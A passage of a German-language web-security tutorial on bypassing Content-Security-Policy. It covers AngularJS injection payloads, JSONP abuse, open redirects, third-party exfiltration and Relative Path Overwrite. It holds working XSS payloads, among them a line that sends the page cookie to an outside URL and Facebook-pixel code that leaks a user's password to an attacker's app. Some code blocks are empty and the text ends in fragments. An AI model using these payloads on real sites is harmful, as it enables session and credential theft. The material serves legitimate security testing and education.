{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
```
Weitere [**Payloads aus diesem Artikel**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
```
#### Ausnutzung von www.google.com für offene Weiterleitungen
Die folgende URL leitet auf example.com weiter (von [hier](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
### Drittanbieter-Endpunkte + JSONP
Es ist möglich, Google Apps Script zu missbrauchen, um Informationen auf einer Seite innerhalb von script.google.com zu empfangen. Wie es in [diesem Bericht](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) gemacht wird.
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Szenarien wie dieses, bei denen `script-src` auf `self` und eine bestimmte Domain gesetzt ist, die auf der Whitelist steht, können mit JSONP umgangen werden. JSONP-Endpunkte ermöglichen unsichere Rückrufmethoden, die es einem Angreifer ermöglichen, XSS auszuführen. Funktionierendes Payload:
```markup
">
">
```
```html
https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **enthält fertige JSONP-Endpunkte zum Umgehen der CSP verschiedener Websites.**
Die gleiche Schwachstelle tritt auf, wenn der **vertrauenswürdige Endpunkt eine offene Weiterleitung enthält**, da Weiterleitungen vertrauenswürdig sind, wenn der ursprüngliche Endpunkt vertrauenswürdig ist.
### Missbräuche von Drittanbietern
Wie im [folgenden Beitrag](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) beschrieben, können viele Drittanbieter-Domains, die möglicherweise irgendwo in der CSP zugelassen sind, missbraucht werden, um Daten auszuleiten oder JavaScript-Code auszuführen. Einige dieser Drittanbieter sind:
| Entität | Zugelassene Domain | Fähigkeiten |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Wenn Sie eine der zugelassenen Domains in der CSP Ihres Ziels finden, besteht die Möglichkeit, dass Sie die CSP umgehen können, indem Sie sich bei dem Drittanbieterdienst registrieren und entweder Daten an diesen Dienst ausleiten oder Code ausführen.
Wenn Sie beispielsweise die folgende CSP finden:
```
Content-Security-Policy: default-src 'self’ www.facebook.com;
```
oder
```
Content-Security-Policy: connect-src www.facebook.com;
```
1. Erstellen Sie ein Facebook Developer-Konto hier.
2. Erstellen Sie eine neue "Facebook-Anmeldung" App und wählen Sie "Website".
3. Gehen Sie zu "Einstellungen -> Grundlegendes" und notieren Sie sich Ihre "App-ID".
4. Auf der Zielseite, von der Sie Daten exfiltrieren möchten, können Sie Daten direkt über das Facebook SDK-Gerät "fbq" mithilfe eines "customEvent" und des Datenpayloads exfiltrieren.
5. Gehen Sie zu Ihrem App "Event-Manager" und wählen Sie die von Ihnen erstellte Anwendung aus (beachten Sie, dass der Event-Manager unter einer URL wie dieser zu finden ist: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Wählen Sie den Tab "Test Events", um die von "Ihrer" Website gesendeten Ereignisse zu sehen.
Dann führen Sie auf der Opferseite den folgenden Code aus, um das Facebook-Tracking-Pixel zu initialisieren, um auf das App-ID des Angreifers im Facebook Developer-Konto zu verweisen und ein benutzerdefiniertes Ereignis wie folgt auszulösen:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
### Umgehung über RPO (Relative Path Overwrite)
Neben der bereits erwähnten Umleitung zur Umgehung von Pfadbeschränkungen gibt es eine weitere Technik namens Relative Path Overwrite (RPO), die auf einigen Servern verwendet werden kann.
Wenn beispielsweise CSP den Pfad `https://example.com/scripts/react/` zulässt, kann er wie folgt umgangen werden:
```html
```
Der Browser wird letztendlich `https://example.com/scripts/angular/angular.js` laden.
Dies funktioniert, weil der Browser eine Datei namens `..%2fangular%2fangular.js` lädt, die sich unter `https://example.com/scripts/react/` befindet, was mit CSP konform ist.
Daher wird es dekodiert und effektiv `https://example.com/scripts/react/../angular/angular.js` angefordert, was äquivalent zu `https://example.com/scripts/angular/angular.js` ist.
Durch **Ausnutzen dieser Inkonsistenz in der URL-Interpretation zwischen Browser und Server können die Pfadregeln umgangen werden**.
Die Lösung besteht darin, `%2f` auf der Serverseite nicht als `/` zu behandeln, um eine konsistente Interpretation zwischen Browser und Server sicherzustellen und dieses Problem zu vermeiden.
Online-Beispiel: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Iframes-JS-Ausführung
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### fehlendes **base-uri**
Wenn die Direktive **base-uri** fehlt, können Sie sie missbrauchen, um eine [**dangling markup injection**](../dangling-markup-html-scriptless-injection/) durchzuführen.
Darüber hinaus, wenn die Seite ein Skript unter Verwendung eines relativen Pfads lädt (wie `
ng-app"ng-csp ng-click=$event.view.alert(1337)>